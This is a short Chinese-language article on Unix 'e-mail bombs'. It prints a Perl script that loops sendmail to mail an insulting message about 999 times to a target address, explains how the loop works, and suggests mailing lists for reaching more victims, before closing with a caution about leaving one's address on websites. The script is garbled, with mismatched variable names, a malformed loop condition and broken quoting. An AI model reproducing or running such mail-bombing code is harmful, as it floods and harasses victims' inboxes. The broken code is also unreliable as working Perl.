Unix下的E-mial炸彈

　　E-mail 炸彈有很多種，今天我來分析一個用在UNIX的實例。
　　
　　　　程序用Perl編寫
　　
　　　　#!/bin/perl (perl所在目錄）
　　
　　　　$mailprop='/user/lib/sendmail'; （sendmail所在目錄)
　　
　　　　$recipient='victim@targeted_site.com'( 攻擊目標）
　　
　　　　$variable_initialized_to_0=0;(設定變量）
　　
　　　　while($variable_initialized_to_0=0)<1000)
　　
　　　　{
　　
　　　　open(MAIL,"/$mailprog$recipient") || die" Can't open $mailprog!\n
　　
　　　　 print MAIL"YOU Suck!" close(MAIL);
　　
　　　　sleep 3;
　　
　　　　$variable_initialized_to_0++;(自增）
　　
　　　　}
　　
　　　　上述代碼將一個變量variable_initialized_to_0初使化為0然後指定只要該變量小1000，就將郵件發送給目標接收者。程序經過while循環一次，變量variable_initialized_to_0 的值加1。郵件將被傳送999次。 然而如果想要手工輸入一系列攻擊目標的話那就很費時，解決的最好方法是利用郵件列表，所以，你以後看到要你填寫諸如“請留下你的MAIL，當我們的主頁更該時可以通知你。”一定要慎重考慮！！